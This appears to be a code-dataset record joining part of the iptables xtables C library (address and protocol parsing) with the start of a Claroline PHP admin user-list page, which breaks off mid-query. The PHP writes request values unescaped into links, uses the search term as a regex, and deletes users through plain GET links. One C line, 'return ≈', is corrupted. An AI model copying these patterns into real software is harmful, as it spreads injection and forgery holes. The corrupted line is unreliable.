/* See if new match can be used. */
if (!compatible_match_revision(me->name, me->revision))
return;
/* Prefer !AF_UNSPEC over AF_UNSPEC for same revision. */
if (old->revision == me->revision && me->family == AF_UNSPEC)
return;
/* Delete old one. */
for (i = &xtables_matches; *i!=old; i = &(*i)->next);
*i = old->next;
}
if (me->size != XT_ALIGN(me->size)) {
fprintf(stderr, "%s: match `%s' has invalid size %u.\n",
xt_params->program_name, me->name,
(unsigned int)me->size);
exit(1);
}
/* Append to list. */
for (i = &xtables_matches; *i; i = &(*i)->next);
me->next = NULL;
*i = me;
me->m = NULL;
me->mflags = 0;
}
void xtables_register_target(struct xtables_target *me)
{
struct xtables_target *old;
if (strcmp(me->version, XTABLES_VERSION) != 0) {
fprintf(stderr, "%s: target \"%s\" has version \"%s\", "
"but \"%s\" is required.\n",
xt_params->program_name, me->name,
me->version, XTABLES_VERSION);
exit(1);
}
/* Revision field stole a char from name. */
if (strlen(me->name) >= XT_FUNCTION_MAXNAMELEN-1) {
fprintf(stderr, "%s: target `%s' has invalid name\n",
xt_params->program_name, me->name);
exit(1);
}
if (me->family >= NPROTO) {
fprintf(stderr,
"%s: BUG: target %s has invalid protocol family\n",
xt_params->program_name, me->name);
exit(1);
}
/* ignore not interested target */
if (me->family != afinfo->family && me->family != AF_UNSPEC)
return;
old = xtables_find_target(me->name, XTF_DURING_LOAD);
if (old) {
struct xtables_target **i;
if (old->revision == me->revision &&
old->family == me->family) {
fprintf(stderr,
"%s: target `%s' already registered.\n",
xt_params->program_name, me->name);
exit(1);
}
/* Now we have two (or more) options, check compatibility. */
if (compatible_target_revision(old->name, old->revision)
&& old->revision > me->revision)
return;
/* See if new target can be used. */
if (!compatible_target_revision(me->name, me->revision))
return;
/* Prefer !AF_UNSPEC over AF_UNSPEC for same revision. */
if (old->revision == me->revision && me->family == AF_UNSPEC)
return;
/* Delete old one. */
for (i = &xtables_targets; *i!=old; i = &(*i)->next);
*i = old->next;
}
if (me->size != XT_ALIGN(me->size)) {
fprintf(stderr, "%s: target `%s' has invalid size %u.\n",
xt_params->program_name, me->name,
(unsigned int)me->size);
exit(1);
}
/* Prepend to list. */
me->next = xtables_targets;
xtables_targets = me;
me->t = NULL;
me->tflags = 0;
}
/**
* xtables_param_act - act on condition
* @status: a constant from enum xtables_exittype
*
* %XTF_ONLY_ONCE: print error message that option may only be used once.
* @p1: module name (e.g. "mark")
* @p2(...): option in conflict (e.g. "--mark")
* @p3(...): condition to match on (see extensions/ for examples)
*
* %XTF_NO_INVERT: option does not support inversion
* @p1: module name
* @p2: option in conflict
* @p3: condition to match on
*
* %XTF_BAD_VALUE: bad value for option
* @p1: module name
* @p2: option with which the problem occured (e.g. "--mark")
* @p3: string the user passed in (e.g. "99999999999999")
*
* %XTF_ONE_ACTION: two mutually exclusive actions have been specified
* @p1: module name
*
* Displays an error message and exits the program.
*/
void xtables_param_act(unsigned int status, const char *p1, ...)
{
const char *p2, *p3;
va_list args;
bool b;
va_start(args, p1);
switch (status) {
case XTF_ONLY_ONCE:
p2 = va_arg(args, const char *);
b = va_arg(args, unsigned int);
if (!b)
return;
xt_params->exit_err(PARAMETER_PROBLEM,
"%s: \"%s\" option may only be specified once",
p1, p2);
break;
case XTF_NO_INVERT:
p2 = va_arg(args, const char *);
b = va_arg(args, unsigned int);
if (!b)
return;
xt_params->exit_err(PARAMETER_PROBLEM,
"%s: \"%s\" option cannot be inverted", p1, p2);
break;
case XTF_BAD_VALUE:
p2 = va_arg(args, const char *);
p3 = va_arg(args, const char *);
xt_params->exit_err(PARAMETER_PROBLEM,
"%s: Bad value for \"%s\" option: \"%s\"",
p1, p2, p3);
break;
case XTF_ONE_ACTION:
b = va_arg(args, unsigned int);
if (!b)
return;
xt_params->exit_err(PARAMETER_PROBLEM,
"%s: At most one action is possible", p1);
break;
default:
xt_params->exit_err(status, p1, args);
break;
}
va_end(args);
}
const char *xtables_ipaddr_to_numeric(const struct in_addr *addrp)
{
static char buf[20];
const unsigned char *bytep = (const void *)&addrp->s_addr;
sprintf(buf, "%u.%u.%u.%u", bytep[0], bytep[1], bytep[2], bytep[3]);
return buf;
}
static const char *ipaddr_to_host(const struct in_addr *addr)
{
struct hostent *host;
host = gethostbyaddr(addr, sizeof(struct in_addr), AF_INET);
if (host == NULL)
return NULL;
return host->h_name;
}
static const char *ipaddr_to_network(const struct in_addr *addr)
{
struct netent *net;
if ((net = getnetbyaddr(ntohl(addr->s_addr), AF_INET)) != NULL)
return net->n_name;
return NULL;
}
const char *xtables_ipaddr_to_anyname(const struct in_addr *addr)
{
const char *name;
if ((name = ipaddr_to_host(addr)) != NULL ||
(name = ipaddr_to_network(addr)) != NULL)
return name;
return xtables_ipaddr_to_numeric(addr);
}
const char *xtables_ipmask_to_numeric(const struct in_addr *mask)
{
static char buf[20];
uint32_t maskaddr, bits;
int i;
maskaddr = ntohl(mask->s_addr);
if (maskaddr == 0xFFFFFFFFL)
/* we don't want to see "/32" */
return "";
i = 32;
bits = 0xFFFFFFFEL;
while (--i >= 0 && maskaddr != bits)
bits <<= 1;
if (i >= 0)
sprintf(buf, "/%d", i);
else
/* mask was not a decent combination of 1's and 0's */
sprintf(buf, "/%s", xtables_ipaddr_to_numeric(mask));
return buf;
}
static struct in_addr *__numeric_to_ipaddr(const char *dotted, bool is_mask)
{
static struct in_addr addr;
unsigned char *addrp;
unsigned int onebyte;
char buf[20], *p, *q;
int i;
/* copy dotted string, because we need to modify it */
strncpy(buf, dotted, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
addrp = (void *)&addr.s_addr;
p = buf;
for (i = 0; i < 3; ++i) {
if ((q = strchr(p, '.')) == NULL) {
if (is_mask)
return NULL;
/* autocomplete, this is a network address */
if (!xtables_strtoui(p, NULL, &onebyte, 0, UINT8_MAX))
return NULL;
addrp[i] = onebyte;
while (i < 3)
addrp[++i] = 0;
return &addr;
}
*q = '\0';
if (!xtables_strtoui(p, NULL, &onebyte, 0, UINT8_MAX))
return NULL;
addrp[i] = onebyte;
p = q + 1;
}
/* we have checked 3 bytes, now we check the last one */
if (!xtables_strtoui(p, NULL, &onebyte, 0, UINT8_MAX))
return NULL;
addrp[3] = onebyte;
return &addr;
}
struct in_addr *xtables_numeric_to_ipaddr(const char *dotted)
{
return __numeric_to_ipaddr(dotted, false);
}
struct in_addr *xtables_numeric_to_ipmask(const char *dotted)
{
return __numeric_to_ipaddr(dotted, true);
}
static struct in_addr *network_to_ipaddr(const char *name)
{
static struct in_addr addr;
struct netent *net;
if ((net = getnetbyname(name)) != NULL) {
if (net->n_addrtype != AF_INET)
return NULL;
addr.s_addr = htonl(net->n_net);
return &addr;
}
return NULL;
}
static struct in_addr *host_to_ipaddr(const char *name, unsigned int *naddr)
{
struct hostent *host;
struct in_addr *addr;
unsigned int i;
*naddr = 0;
if ((host = gethostbyname(name)) != NULL) {
if (host->h_addrtype != AF_INET ||
host->h_length != sizeof(struct in_addr))
return NULL;
while (host->h_addr_list[*naddr] != NULL)
++*naddr;
addr = xtables_calloc(*naddr, sizeof(struct in_addr) * *naddr);
for (i = 0; i < *naddr; i++)
memcpy(&addr[i], host->h_addr_list[i],
sizeof(struct in_addr));
return addr;
}
return NULL;
}
static struct in_addr *
ipparse_hostnetwork(const char *name, unsigned int *naddrs)
{
struct in_addr *addrptmp, *addrp;
if ((addrptmp = xtables_numeric_to_ipaddr(name)) != NULL ||
(addrptmp = network_to_ipaddr(name)) != NULL) {
addrp = xtables_malloc(sizeof(struct in_addr));
memcpy(addrp, addrptmp, sizeof(*addrp));
*naddrs = 1;
return addrp;
}
if ((addrptmp = host_to_ipaddr(name, naddrs)) != NULL)
return addrptmp;
xt_params->exit_err(PARAMETER_PROBLEM, "host/network `%s' not found", name);
}
static struct in_addr *parse_ipmask(const char *mask)
{
static struct in_addr maskaddr;
struct in_addr *addrp;
unsigned int bits;
if (mask == NULL) {
/* no mask at all defaults to 32 bits */
maskaddr.s_addr = 0xFFFFFFFF;
return &maskaddr;
}
if ((addrp = xtables_numeric_to_ipmask(mask)) != NULL)
/* dotted_to_addr already returns a network byte order addr */
return addrp;
if (!xtables_strtoui(mask, NULL, &bits, 0, 32))
xt_params->exit_err(PARAMETER_PROBLEM,
"invalid mask `%s' specified", mask);
if (bits != 0) {
maskaddr.s_addr = htonl(0xFFFFFFFF << (32 - bits));
return &maskaddr;
}
maskaddr.s_addr = 0U;
return &maskaddr;
}
/**
* xtables_ipparse_any - transform arbitrary name to in_addr
*
* Possible inputs (pseudo regex):
* m{^($hostname|$networkname|$ipaddr)(/$mask)?}
* "1.2.3.4/5", "1.2.3.4", "hostname", "networkname"
*/
void xtables_ipparse_any(const char *name, struct in_addr **addrpp,
struct in_addr *maskp, unsigned int *naddrs)
{
unsigned int i, j, k, n;
struct in_addr *addrp;
char buf[256], *p;
strncpy(buf, name, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
if ((p = strrchr(buf, '/')) != NULL) {
*p = '\0';
addrp = parse_ipmask(p + 1);
} else {
addrp = parse_ipmask(NULL);
}
memcpy(maskp, addrp, sizeof(*maskp));
/* if a null mask is given, the name is ignored, like in "any/0" */
if (maskp->s_addr == 0U)
strcpy(buf, "0.0.0.0");
addrp = *addrpp = ipparse_hostnetwork(buf, naddrs);
n = *naddrs;
for (i = 0, j = 0; i < n; ++i) {
addrp[j++].s_addr &= maskp->s_addr;
for (k = 0; k < j - 1; ++k)
if (addrp[k].s_addr == addrp[j-1].s_addr) {
--*naddrs;
--j;
break;
}
}
}
const char *xtables_ip6addr_to_numeric(const struct in6_addr *addrp)
{
/* 0000:0000:0000:0000:0000:000.000.000.000
* 0000:0000:0000:0000:0000:0000:0000:0000 */
static char buf[50+1];
return inet_ntop(AF_INET6, addrp, buf, sizeof(buf));
}
static const char *ip6addr_to_host(const struct in6_addr *addr)
{
static char hostname[NI_MAXHOST];
struct sockaddr_in6 saddr;
int err;
memset(&saddr, 0, sizeof(struct sockaddr_in6));
memcpy(&saddr.sin6_addr, addr, sizeof(*addr));
saddr.sin6_family = AF_INET6;
err = getnameinfo((const void *)&saddr, sizeof(struct sockaddr_in6),
hostname, sizeof(hostname) - 1, NULL, 0, 0);
if (err != 0) {
#ifdef DEBUG
fprintf(stderr,"IP2Name: %s\n",gai_strerror(err));
#endif
return NULL;
}
#ifdef DEBUG
fprintf (stderr, "\naddr2host: %s\n", hostname);
#endif
return hostname;
}
const char *xtables_ip6addr_to_anyname(const struct in6_addr *addr)
{
const char *name;
if ((name = ip6addr_to_host(addr)) != NULL)
return name;
return xtables_ip6addr_to_numeric(addr);
}
static int ip6addr_prefix_length(const struct in6_addr *k)
{
unsigned int bits = 0;
uint32_t a, b, c, d;
a = ntohl(k->s6_addr32[0]);
b = ntohl(k->s6_addr32[1]);
c = ntohl(k->s6_addr32[2]);
d = ntohl(k->s6_addr32[3]);
while (a & 0x80000000U) {
++bits;
a <<= 1;
a |= (b >> 31) & 1;
b <<= 1;
b |= (c >> 31) & 1;
c <<= 1;
c |= (d >> 31) & 1;
d <<= 1;
}
if (a != 0 || b != 0 || c != 0 || d != 0)
return -1;
return bits;
}
const char *xtables_ip6mask_to_numeric(const struct in6_addr *addrp)
{
static char buf[50+2];
int l = ip6addr_prefix_length(addrp);
if (l == -1) {
strcpy(buf, "/");
strcat(buf, xtables_ip6addr_to_numeric(addrp));
return buf;
}
sprintf(buf, "/%d", l);
return buf;
}
struct in6_addr *xtables_numeric_to_ip6addr(const char *num)
{
static struct in6_addr ap;
int err;
if ((err = inet_pton(AF_INET6, num, &ap)) == 1)
return ≈
#ifdef DEBUG
fprintf(stderr, "\nnumeric2addr: %d\n", err);
#endif
return NULL;
}
static struct in6_addr *
host_to_ip6addr(const char *name, unsigned int *naddr)
{
static struct in6_addr *addr;
struct addrinfo hints;
struct addrinfo *res;
int err;
memset(&hints, 0, sizeof(hints));
hints.ai_flags = AI_CANONNAME;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_RAW;
hints.ai_protocol = IPPROTO_IPV6;
hints.ai_next = NULL;
*naddr = 0;
if ((err = getaddrinfo(name, NULL, &hints, &res)) != 0) {
#ifdef DEBUG
fprintf(stderr,"Name2IP: %s\n",gai_strerror(err));
#endif
return NULL;
} else {
if (res->ai_family != AF_INET6 ||
res->ai_addrlen != sizeof(struct sockaddr_in6))
return NULL;
#ifdef DEBUG
fprintf(stderr, "resolved: len=%d %s ", res->ai_addrlen,
ip6addr_to_numeric(&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr));
#endif
/* Get the first element of the address-chain */
addr = xtables_malloc(sizeof(struct in6_addr));
memcpy(addr, &((const struct sockaddr_in6 *)res->ai_addr)->sin6_addr,
sizeof(struct in6_addr));
freeaddrinfo(res);
*naddr = 1;
return addr;
}
return NULL;
}
static struct in6_addr *network_to_ip6addr(const char *name)
{
/* abort();*/
/* TODO: not implemented yet, but the exception breaks the
* name resolvation */
return NULL;
}
static struct in6_addr *
ip6parse_hostnetwork(const char *name, unsigned int *naddrs)
{
struct in6_addr *addrp, *addrptmp;
if ((addrptmp = xtables_numeric_to_ip6addr(name)) != NULL ||
(addrptmp = network_to_ip6addr(name)) != NULL) {
addrp = xtables_malloc(sizeof(struct in6_addr));
memcpy(addrp, addrptmp, sizeof(*addrp));
*naddrs = 1;
return addrp;
}
if ((addrp = host_to_ip6addr(name, naddrs)) != NULL)
return addrp;
xt_params->exit_err(PARAMETER_PROBLEM, "host/network `%s' not found", name);
}
static struct in6_addr *parse_ip6mask(char *mask)
{
static struct in6_addr maskaddr;
struct in6_addr *addrp;
unsigned int bits;
if (mask == NULL) {
/* no mask at all defaults to 128 bits */
memset(&maskaddr, 0xff, sizeof maskaddr);
return &maskaddr;
}
if ((addrp = xtables_numeric_to_ip6addr(mask)) != NULL)
return addrp;
if (!xtables_strtoui(mask, NULL, &bits, 0, 128))
xt_params->exit_err(PARAMETER_PROBLEM,
"invalid mask `%s' specified", mask);
if (bits != 0) {
char *p = (void *)&maskaddr;
memset(p, 0xff, bits / 8);
memset(p + (bits / 8) + 1, 0, (128 - bits) / 8);
p[bits/8] = 0xff << (8 - (bits & 7));
return &maskaddr;
}
memset(&maskaddr, 0, sizeof(maskaddr));
return &maskaddr;
}
void xtables_ip6parse_any(const char *name, struct in6_addr **addrpp,
struct in6_addr *maskp, unsigned int *naddrs)
{
struct in6_addr *addrp;
unsigned int i, j, k, n;
char buf[256], *p;
strncpy(buf, name, sizeof(buf) - 1);
buf[sizeof(buf)-1] = '\0';
if ((p = strrchr(buf, '/')) != NULL) {
*p = '\0';
addrp = parse_ip6mask(p + 1);
} else {
addrp = parse_ip6mask(NULL);
}
memcpy(maskp, addrp, sizeof(*maskp));
/* if a null mask is given, the name is ignored, like in "any/0" */
if (memcmp(maskp, &in6addr_any, sizeof(in6addr_any)) == 0)
strcpy(buf, "::");
addrp = *addrpp = ip6parse_hostnetwork(buf, naddrs);
n = *naddrs;
for (i = 0, j = 0; i < n; ++i) {
for (k = 0; k < 4; ++k)
addrp[j].s6_addr32[k] &= maskp->s6_addr32[k];
++j;
for (k = 0; k < j - 1; ++k)
if (IN6_ARE_ADDR_EQUAL(&addrp[k], &addrp[j - 1])) {
--*naddrs;
--j;
break;
}
}
}
void xtables_save_string(const char *value)
{
static const char no_quote_chars[] = "_-0123456789"
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
static const char escape_chars[] = "\"\\'";
size_t length;
const char *p;
length = strcspn(value, no_quote_chars);
if (length > 0 && value[length] == 0) {
/* no quoting required */
fputs(value, stdout);
putchar(' ');
} else {
/* there is at least one dangerous character in the
value, which we have to quote. Write double quotes
around the value and escape special characters with
a backslash */
putchar('"');
for (p = strpbrk(value, escape_chars); p != NULL;
p = strpbrk(value, escape_chars)) {
if (p > value)
fwrite(value, 1, p - value, stdout);
putchar('\\');
putchar(*p);
value = p + 1;
}
/* print the rest and finish the double quoted
string */
fputs(value, stdout);
printf("\" ");
}
}
/**
* Check for option-intrapositional negation.
* Do not use in new code.
*/
int xtables_check_inverse(const char option[], int *invert,
int *my_optind, int argc)
{
if (option && strcmp(option, "!") == 0) {
fprintf(stderr, "Using intrapositioned negation "
"(`--option ! this`) is deprecated in favor of "
"extrapositioned (`! --option this`).\n");
if (*invert)
xt_params->exit_err(PARAMETER_PROBLEM,
"Multiple `!' flags not allowed");
*invert = true;
if (my_optind != NULL) {
++*my_optind;
if (argc && *my_optind > argc)
xt_params->exit_err(PARAMETER_PROBLEM,
"no argument following `!'");
}
return true;
}
return false;
}
const struct xtables_pprot xtables_chain_protos[] = {
{"tcp", IPPROTO_TCP},
{"sctp", IPPROTO_SCTP},
{"udp", IPPROTO_UDP},
{"udplite", IPPROTO_UDPLITE},
{"icmp", IPPROTO_ICMP},
{"icmpv6", IPPROTO_ICMPV6},
{"ipv6-icmp", IPPROTO_ICMPV6},
{"esp", IPPROTO_ESP},
{"ah", IPPROTO_AH},
{"ipv6-mh", IPPROTO_MH},
{"mh", IPPROTO_MH},
{"all", 0},
{NULL},
};
u_int16_t
xtables_parse_protocol(const char *s)
{
unsigned int proto;
if (!xtables_strtoui(s, NULL, &proto, 0, UINT8_MAX)) {
struct protoent *pent;
/* first deal with the special case of 'all' to prevent
* people from being able to redefine 'all' in nsswitch
* and/or provoke expensive [not working] ldap/nis/...
* lookups */
if (!strcmp(s, "all"))
return 0;
if ((pent = getprotobyname(s)))
proto = pent->p_proto;
else {
unsigned int i;
for (i = 0; i < ARRAY_SIZE(xtables_chain_protos); ++i) {
if (strcmp(s, xtables_chain_protos[i].name) == 0) {
proto = xtables_chain_protos[i].num;
break;
}
}
if (i == ARRAY_SIZE(xtables_chain_protos))
xt_params->exit_err(PARAMETER_PROBLEM,
"unknown protocol `%s' specified",
s);
}
}
return proto;
}
|
alessandrod/cattivo
|
cattivo/firewall/iptables/xtables/xtables.c
|
C
|
gpl-2.0
| 36,930
|
<?php //$Id$
/**
* CLAROLINE
* @version 1.9 $Revision$
*
* @copyright (c) 2001-2007 Universite catholique de Louvain (UCL)
*
* @license http://www.gnu.org/copyleft/gpl.html (GPL) GENERAL PUBLIC LICENSE
*
* @package ADMIN
*
* @author Guillaume Lederer <lederer@claroline.net>
*/
$cidReset = TRUE; $gidReset = TRUE; $tidReset = TRUE;
require '../inc/claro_init_global.inc.php';
$userPerPage = get_conf('userPerPage',20); // numbers of user to display on the same page
// Security check
if ( ! claro_is_user_authenticated() ) claro_disp_auth_form();
if ( ! claro_is_platform_admin() ) claro_die(get_lang('Not allowed'));
require_once get_path('incRepositorySys') . '/lib/pager.lib.php';
require_once get_path('incRepositorySys') . '/lib/admin.lib.inc.php';
require_once get_path('incRepositorySys') . '/lib/user.lib.php';
// CHECK INCOMING DATAS
if ((isset($_REQUEST['cidToEdit'])) && ($_REQUEST['cidToEdit']=='')) {unset($_REQUEST['cidToEdit']);}
$validCmdList = array('delete');
$cmd = (isset($_REQUEST['cmd']) && in_array($_REQUEST['cmd'],$validCmdList)? $_REQUEST['cmd'] : null);
$userIdReq = (int) (isset($_REQUEST['user_id']) ? $_REQUEST['user_id']: null);
// USED SESSION VARIABLES
// clean session if needed
if (isset($_REQUEST['newsearch']) && $_REQUEST['newsearch'] == 'yes')
{
unset($_SESSION['admin_user_search' ]);
unset($_SESSION['admin_user_firstName']);
unset($_SESSION['admin_user_lastName' ]);
unset($_SESSION['admin_user_userName' ]);
unset($_SESSION['admin_user_officialCode' ]);
unset($_SESSION['admin_user_mail' ]);
unset($_SESSION['admin_user_action' ]);
unset($_SESSION['admin_order_crit' ]);
}
// deal with session variables for search criteria, it depends where we come from :
// 1 ) we must be able to get back to the list that concerned the criteria we previously used (with out re entering them)
// 2 ) we must be able to arrive with new critera for a new search.
if (isset($_REQUEST['search' ])) $_SESSION['admin_user_search' ] = trim($_REQUEST['search' ]);
if (isset($_REQUEST['firstName' ])) $_SESSION['admin_user_firstName' ] = trim($_REQUEST['firstName' ]);
if (isset($_REQUEST['lastName' ])) $_SESSION['admin_user_lastName' ] = trim($_REQUEST['lastName' ]);
if (isset($_REQUEST['userName' ])) $_SESSION['admin_user_userName' ] = trim($_REQUEST['userName' ]);
if (isset($_REQUEST['officialCode' ])) $_SESSION['admin_user_officialCode' ] = trim($_REQUEST['officialCode' ]);
if (isset($_REQUEST['mail' ])) $_SESSION['admin_user_mail' ] = trim($_REQUEST['mail' ]);
if (isset($_REQUEST['action' ])) $_SESSION['admin_user_action' ] = trim($_REQUEST['action' ]);
if (isset($_REQUEST['order_crit'])) $_SESSION['admin_user_order_crit'] = trim($_REQUEST['order_crit']);
if (isset($_REQUEST['dir' ])) $_SESSION['admin_user_dir' ] = ($_REQUEST['dir'] == 'DESC' ? 'DESC' : 'ASC' );
$addToURL = ( isset($_REQUEST['addToURL']) ? $_REQUEST['addToURL'] : '');
//TABLES
//declare needed tables
// Deal with interbredcrumps
ClaroBreadCrumbs::getInstance()->prepend( get_lang('Administration'), get_path('rootAdminWeb') );
$nameTools = get_lang('User list');
//TABLES
//------------------------------------
// Execute COMMAND section
//------------------------------------
switch ( $cmd )
{
case 'delete' :
{
$dialogBox = ( user_delete($userIdReq) ? get_lang('Deletion of the user was done sucessfully') : get_lang('You can not change your own settings!'));
} break;
}
$searchInfo = prepare_search();
$isSearched = $searchInfo['isSearched'];
$addtoAdvanced = $searchInfo['addtoAdvanced'];
if(count($searchInfo['isSearched']) )
{
$isSearched = array_map( 'strip_tags', $isSearched );
$isSearchedHTML = implode('<br />', $isSearched);
}
else
{
$isSearchedHTML = '';
}
//get the search keyword, if any
$search = (isset($_REQUEST['search']) ? $_REQUEST['search'] : '');
$sql = get_sql_filtered_user_list();
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : 0 ;
$myPager = new claro_sql_pager($sql, $offset, $userPerPage);
if ( array_key_exists( 'sort', $_GET ) )
{
$dir = array_key_exists( 'dir', $_GET ) && $_GET['dir'] == SORT_DESC
? SORT_DESC
: SORT_ASC
;
$sortKey = strip_tags( $_GET['sort'] );
$myPager->add_sort_key( $sortKey, $dir );
}
$defaultSortKeyList = array ('isPlatformAdmin' => SORT_DESC,
'name' => SORT_ASC,
'firstName' => SORT_ASC);
foreach($defaultSortKeyList as $thisSortKey => $thisSortDir)
{
$myPager->add_sort_key( $thisSortKey, $thisSortDir);
}
$userList = $myPager->get_result_list();
if (is_array($userList))
{
$tbl_mdb_names = claro_sql_get_main_tbl();
foreach ($userList as $userKey => $user)
{
$sql ="SELECT count(DISTINCT code_cours) AS qty_course
FROM `" . $tbl_mdb_names['rel_course_user'] . "`
WHERE user_id = '". (int) $user['user_id'] ."'
GROUP BY user_id";
$userList[$userKey]['qty_course'] = (int) claro_sql_query_get_single_value($sql);
}
}
$userGrid = array();
if (is_array($userList))
foreach ($userList as $userKey => $user)
{
$userGrid[$userKey]['user_id'] = $user['user_id'];
$userGrid[$userKey]['name'] = $user['name'];
$userGrid[$userKey]['firstname'] = $user['firstname'];
$userEmailLabel=null;
if ( !empty($_SESSION['admin_user_search']) )
{
$bold_search = str_replace('*','.*',$_SESSION['admin_user_search']);
$userGrid[$userKey]['name'] = eregi_replace('(' . $bold_search . ')' , '<b>\\1</b>', $user['name']);
$userGrid[$userKey]['firstname'] = eregi_replace('(' . $bold_search . ')' , '<b>\\1</b>', $user['firstname']);
$userEmailLabel = eregi_replace('(' . $bold_search . ')', '<b>\\1</b>' , $user['email']);
}
$userGrid[$userKey]['officialCode'] = empty($user['officialCode']) ? ' - ' : $user['officialCode'];
$userGrid[$userKey]['email'] = claro_html_mailTo($user['email'], $userEmailLabel);
$userGrid[$userKey]['isCourseCreator'] = ( $user['isCourseCreator']?get_lang('Course creator'):get_lang('User'));
if ( $user['isPlatformAdmin'] )
{
$userGrid[$userKey]['isCourseCreator'] .= '<br /><span class="highlight">' . get_lang('Administrator').'</span>';
}
$userGrid[$userKey]['settings'] = '<a href="adminprofile.php'
. '?uidToEdit=' . $user['user_id']
. '&cfrom=ulist' . $addToURL . '">'
. '<img src="' . get_icon_url('usersetting') . '" alt="' . get_lang('User settings') . '" />'
. '</a>';
$userGrid[$userKey]['qty_course'] = '<a href="adminusercourses.php?uidToEdit=' . $user['user_id']
. '&cfrom=ulist' . $addToURL . '">' . "\n"
. get_lang('%nb course(s)', array('%nb' => $user['qty_course'])) . "\n"
. '</a>' . "\n"
;
$userGrid[$userKey]['delete'] = '<a href="' . $_SERVER['PHP_SELF']
. '?cmd=delete&user_id=' . $user['user_id']
. '&offset=' . $offset . $addToURL . '" '
. ' onclick="return confirmation(\'' . clean_str_for_javascript(' ' . $user['firstname'] . ' ' . $user['name']).'\');">' . "\n"
. '<img src="' . get_icon_url('deluser') . '" alt="' . get_lang('Delete') . '" />' . "\n"
. '</a> '."\n"
;
}
$sortUrlList = $myPager->get_sort_url_list($_SERVER['PHP_SELF']);
$userDataGrid = new claro_datagrid();
$userDataGrid->set_grid($userGrid);
$userDataGrid->set_colHead('name') ;
$userDataGrid->set_colTitleList(array (
'user_id'=>'<a href="' . $sortUrlList['user_id'] . '">' . get_lang('Numero') . '</a>'
,'name'=>'<a href="' . $sortUrlList['name'] . '">' . get_lang('Last name') . '</a>'
,'firstname'=>'<a href="' . $sortUrlList['firstname'] . '">' . get_lang('First name') . '</a>'
,'officialCode'=>'<a href="' . $sortUrlList['officialCode'] . '">' . get_lang('Administrative code') . '</a>'
,'email'=>'<a href="' . $sortUrlList['email'] . '">' . get_lang('Email') . '</a>'
,'isCourseCreator'=>'<a href="' . $sortUrlList['isCourseCreator'] . '">' . get_lang('Status') . '</a>'
,'settings'=> get_lang('User settings')
,'qty_course' => get_lang('Courses')
,'delete'=>get_lang('Delete') ));
if ( count($userGrid)==0 )
{
$userDataGrid->set_noRowMessage( '<center>'.get_lang('No user to display') . "\n"
. '<br />' . "\n"
. '<a href="advancedUserSearch.php' . $addtoAdvanced . '">' . get_lang('Search again (advanced)') . '</a></center>' . "\n"
);
}
else
{
$userDataGrid->set_colAttributeList(array ( 'user_id' => array ('align' => 'center')
, 'officialCode' => array ('align' => 'center')
, 'settings' => array ('align' => 'center')
, 'delete' => array ('align' => 'center')
));
}
//---------
// DISPLAY
//---------
//PREPARE
// javascript confirm pop up declaration
$htmlHeadXtra[] =
'<script type="text/javascript">
function confirmation (name)
{
if (confirm("'.clean_str_for_javascript(get_lang('Are you sure to delete')).'" + name + "? "))
{return true;}
else
{return false;}
}'
."\n".'</script>'."\n";
//Header
include get_path('incRepositorySys') . '/claro_init_header.inc.php';
// Display tool title
echo claro_html_tool_title($nameTools) . "\n\n";
//Display Forms or dialog box(if needed)
if( isset($dialogBox) ) echo claro_html_message_box($dialogBox);
//Display selectbox and advanced search link
//TOOL LINKS
//Display search form
if ( !empty($isSearchedHTML) )
{
echo claro_html_message_box ('<b>' . get_lang('Search on') . '</b> : <small>' . $isSearchedHTML . '</small>') ;
}
echo '<table width="100%">' . "\n"
. '<tr>' . "\n"
. '<td>' . '<a class="claroCmd" href="adminaddnewuser.php">'
. '<img src="' . get_icon_url('user') . '" alt="" />'
. get_lang('Create user')
. '</a>'
. '</td>' . "\n"
. '<td>' . ''
. '<td align="right">' . "\n"
. '<form action="' . $_SERVER['PHP_SELF'] . '">' . "\n"
. '<label for="search">' . get_lang('Make new search') . ' </label>' . "\n"
. '<input type="text" value="' . htmlspecialchars($search).'" name="search" id="search" />' . "\n"
. '<input type="submit" value=" ' . get_lang('Ok') . ' " />' . "\n"
. '<input type="hidden" name="newsearch" value="yes" />' . "\n"
. ' [<a class="claroCmd" href="advancedUserSearch.php' . $addtoAdvanced . '" >' . get_lang('Advanced') . '</a>]' . "\n"
. '</form>' . "\n"
. '</td>' . "\n"
. '</tr>' . "\n"
. '</table>' . "\n\n"
;
if ( count($userGrid) > 0 ) echo $myPager->disp_pager_tool_bar($_SERVER['PHP_SELF']);
echo $userDataGrid->render();
if ( count($userGrid) > 0 ) echo $myPager->disp_pager_tool_bar($_SERVER['PHP_SELF']);
include get_path('incRepositorySys') . '/claro_init_footer.inc.php';
/**
*
* @todo: the name would be review befor move to a lib
* @todo: eject usage in function of $_SESSION
*
* @return sql statements
*/
function get_sql_filtered_user_list()
{
if ( isset($_SESSION['admin_user_action']) )
{
switch ($_SESSION['admin_user_action'])
{
case 'plateformadmin' :
{
$filterOnStatus = 'plateformadmin';
} break;
case 'createcourse' :
{
$filterOnStatus= 'createcourse';
} break;
case 'followcourse' :
{
$filterOnStatus='followcourse';
} break;
case 'all' :
{
$filterOnStatus='';
} break;
default:
{
trigger_error('admin_user_action value unknow : '.var_export($_SESSION['admin_user_action'],1),E_USER_NOTICE);
$filterOnStatus='followcourse';
}
}
}
else $filterOnStatus='';
$tbl_mdb_names = claro_sql_get_main_tbl();
$sql = "SELECT U.user_id AS user_id,
U.nom AS name,
U.prenom AS firstname,
U.authSource AS authSource,
U.email AS email,
U.officialCode AS officialCode,
U.phoneNumber AS phoneNumber,
U.pictureUri AS pictureUri,
U.creatorId AS creator_id,
U.isCourseCreator ,
U.isPlatformAdmin AS isPlatformAdmin
FROM `" . $tbl_mdb_names['user'] . "` AS U
WHERE 1=1 ";
//deal with admin user search only
if ($filterOnStatus=='plateformadmin')
{
$sql .= " AND U.isPlatformAdmin = 1";
}
//deal with KEY WORDS classification call
if (isset($_SESSION['admin_user_search']))
{
$sql .= " AND (U.nom LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_search'])) ."%'
OR U.prenom LIKE '%".claro_sql_escape(pr_star_replace($_SESSION['admin_user_search'])) ."%' ";
$sql .= " OR U.email LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_search'])) ."%'";
